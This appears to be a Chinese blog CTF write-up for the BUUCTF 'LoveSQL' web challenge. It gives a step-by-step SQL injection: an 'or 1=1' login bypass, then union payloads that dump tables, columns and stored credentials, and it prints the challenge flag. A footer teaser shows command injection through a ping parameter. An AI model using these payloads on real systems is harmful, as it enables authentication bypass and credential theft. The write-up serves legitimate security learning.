首页 > 数据库 >[极客大挑战 2019]LoveSQL

[极客大挑战 2019]LoveSQL

时间:2023-07-21 09:44:53浏览次数:42  
标签:username 极客 group union #& LoveSQL 2019 password select

[极客大挑战 2019]LoveSQL

题目来源:buuctf

题目类型:web

涉及考点:SQL注入

1. 题目页面给了两个输入框

与之前相同,我们先随便输入数进去,获得回显页面:

我们直接使用万能密码登录:

只需用户名输入1' or 1=1#即可

原因是:

当用户名输入1,密码输入1' 时,发生报错

当用户名输入1'#,密码输入1' 时,不发生报错

因此密码输入部分相当于被注释掉了,随便输入什么都行

于是我们得到以下回显:

登陆成功,获得了密码的md5加密

2. 尝试解密无果,我们把重点回到注入上

  • 注意,我们需要将构造的payload进行url编码后再进行传入,后续我们在check.php中传入参数:
  • 先尝试一下union注入,即?username=1' union select database()#&password=1
  • 发现union注入是可行的,那么接下来就是union注入的一般过程

3. union联合注入

注意,以下给的payload不是url编码,需要自行转换

有关SQL注入的具体知识点请查看SQL注入

  • 判断字段数
?username=1' group by 3#&password=1

回显页面还是check.php,我们再尝试:

?username=1' group by 4#&password=1

报错了,因此判断字段数为3

  • 判断注入点
?username=1' union select 1,2,3#&password=1

很明显回显位是 2 和 3 了

  • 爆库名
?username=1' union select 1,2,database()#&password=1
  • 爆表名
?id=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#&password=1

直觉判断flag应该在第二个表中,先去查看第二个表

  • 爆列名
?id=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'#&password=1
  • 获取表中数据
?id=1' union select 1,2,group_concat(username,'~',password) from l0ve1ysq1#&password=1

最终获取flag:

flag{6a1ae218-4095-408b-b097-3f6ea47beab6}

日期:2023.7.21

作者:y0Zero

标签:username,极客,group,union,#&,LoveSQL,2019,password,select
From: https://www.cnblogs.com/bkofyZ/p/17570404.html

相关文章

  • [极客大挑战 2019]Secret File
    [极客大挑战2019]SecretFile题目来源:buuctf题目类型:web涉及考点:代码审计1.题目让我们去找秘密,第一反应是检查源代码发现一个Archive_room.php,点击看看:出现了一个点击按钮,点击后如下:除此之外没有别的线索了2.我们依据提示回到上一个页面抓包发现了一个新的php,进去......
  • Git问题集,20190511
    来自 1、error: src refspec master does not match any执行命令git push origin master,报错,如上。http://stackoverflow.com/questions/827351/push-origin-master-error-on-new-repositoryTheerrormessageleadstotheconclusionthatyoudonothavea master......
  • [SUCTF 2019]EasySQL
    [SUCTF2019]EasySQL题目来源:buuctf题目类型:web涉及考点:SQL注入、堆叠注入1.题目给了一个输入框,先随便传点东西进去传入数字回显如下:传入flag回显如下:传入字符无回显没什么其他线索了,还是爆破一下看看过滤了哪些字符:返回长度为507的字符都是被过滤了的,包括uni......
  • WPS Office 2019 v11.8.2.12014
    下载地址:https://pan.baidu.com/s/18T2jwDAjeqy-ebT5u18zVA#list/path=%2F软件介绍WPSOffice2019博湖县政府专用版,无需序列号,免激活长期授权,这是目前最新的WPS政府专用版。WPSOffice是款一免费的办公软件套件,全面涵盖了文字处理、电子表格,演示文稿、PDF以及云服务等功能。WP......
  • Office 2019 学习
    3.2.1Office2010应用程序的启动与退出1)启动 通过“开始“菜单中的快捷方式启动 通过桌面快捷方式启动 通过关联文档启动 通过核心启动程序winword.exe2)退出 1“文件”选项卡——“关闭”命令(Ctrl+W组合键) 注意:只关闭相应的文档窗口而不退出应用程序 2“文件”选项......
  • P6227 [BalticOI 2019 Day1] 山谷
    P6227[BalticOI2019Day1]山谷Description给一棵树,一个根,一些特殊补给点,一些询问。求解如下问题:断掉一条边\(u\tov\),这样以后你能否从给定的\(R_i\)走到根,若能输出escaped。不能到达根且不能到达任何一个特殊补给点输出oo。若不能到达根但可以到达特殊补给点输出边权和......
  • 「JOISC 2019 Day4」蛋糕拼接 3 题解
    先考虑这个式子:\(\sum_{j=1}^{M}|C_{k_{j}}-C_{k_{j+1}}|\)一定是在\(C\)有序时取到,具体证明很简单各位读者自己证明。那么现在式子变成:\(\sum{V}+2\times({C_{\max}-C_{\min}})\)这个时候一个常见的技巧是将\(C\)排序。这个时候就可以定义状态:\(dp_{i,j}=\s......
  • [GUET-CTF2019]KO
    直接给了一个txt文件,打开直接是ook的编码不知道为啥在随波上面直接用brainfuck就直接出来又用了一下ook的解码网站也是一样的网址:Brainfuck/Ook!Obfuscation/Encoding[splitbrain.org]结束......
  • 远程登陆virtualbox虚拟机windows server 2019
    1.virtualbox网络设置2.启用远程桌面3.获取远程ip4.本机使用mstsc远程登陆......
  • [GXYCTF2019]Ping Ping Ping
    [GXYCTF2019]PingPingPing题目来源:buuctf题目类型:web涉及考点:命令执行1.题目页面如下:我们将其作为参数传入,/?ip=127.0.0.1,回显如下:接下来通过命令行查看目录:/?ip=127.0.0.1;ls2.发现了flag.php,直接查看/?ip=127.0.0.1;catflag.php发现空格被过滤了,我们采取以下......